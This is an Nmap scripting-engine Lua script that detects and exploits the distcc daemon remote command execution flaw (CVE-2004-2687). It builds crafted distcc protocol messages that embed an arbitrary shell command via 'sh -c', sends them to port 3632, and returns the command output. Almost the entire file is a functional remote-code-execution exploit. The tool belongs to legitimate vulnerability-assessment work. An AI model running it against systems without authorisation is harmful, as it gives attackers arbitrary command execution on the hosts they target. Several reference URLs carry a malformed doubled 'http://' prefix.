local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local vulns = require "vulns"

description = [[
Detects and exploits a remote code execution vulnerability in the distributed
compiler daemon distcc. The vulnerability was disclosed in 2002, but is still
present in modern implementation due to poor configuration of the service.
]]

---
-- @usage
-- nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
--
-- @output
-- PORT     STATE SERVICE
-- 3632/tcp open  distccd
-- | distcc-test: 
-- |   VULNERABLE:
-- |   distcc Daemon Command Execution
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2004-2687
-- |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       Allows executing of arbitrary commands on systems running distccd 3.1 and
-- |       earlier. The vulnerability is the consequence of weak service configuration.
-- |       
-- |     Disclosure date: 2002-02-01
-- |     Extra information:
-- |       
-- |     uid=118(distccd) gid=65534(nogroup) groups=65534(nogroup)
-- |   
-- |     References:
-- |       http://distcc.googlecode.com/svn/trunk/doc/web/security.html
-- |       http://http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2687
-- |       http://http://www.osvdb.org/13378
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
--
-- @args cmd the command to run at the remote server
--

author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "vuln"}


portrule = shortport.port_or_service(3632, "distcc")

local arg_cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "id"

local function fail(err) return ("\n  ERROR: %s"):format(err or "") end

action = function(host, port)

	local distcc_vuln = {
		title = "distcc Daemon Command Execution",
		IDS = {CVE = 'CVE-2004-2687'},
		risk_factor = "High",
		scores = {
			CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
		},
		description = [[
Allows executing of arbitrary commands on systems running distccd 3.1 and
earlier. The vulnerability is the consequence of weak service configuration.
]],
		references = {
			'http://http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2687',
			'http://http://www.osvdb.org/13378',
			'http://distcc.googlecode.com/svn/trunk/doc/web/security.html',
    	},
		dates = { disclosure = {year = '2002', month = '02', day = '01'}, },
		exploit_results = {},
	}

	local report = vulns.Report:new(SCRIPT_NAME, host, port)
	distcc_vuln.state = vulns.STATE.NOT_VULN

	local socket = nmap.new_socket()
	if ( not(socket:connect(host, port)) ) then
		return fail("Failed to connect to distcc server")
	end
	
	local cmds = {
		"DIST00000001",
		("ARGC00000008ARGV00000002shARGV00000002-cARGV%08.8xsh -c " .. 
		 "'(%s)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002" ..
		 "-oARGV00000006main.o"):format(10 + #arg_cmd, arg_cmd),
		"DOTI00000001A\n",
	}
	
	for _, cmd in ipairs(cmds) do
		if ( not(socket:send(cmd)) ) then
			return fail("Failed to send data to distcc server")
		end
	end
	
	local status, data = socket:receive_buf("DOTO00000000", false)

	if ( status ) then
		local output = data:match("SOUT%w%w%w%w%w%w%w%w(.*)")
		if (output and #output > 0) then
			distcc_vuln.extra_info = stdnse.format_output(true, output)
			distcc_vuln.state = vulns.STATE.EXPLOIT
			return report:make_output(distcc_vuln)
		end
	end
end
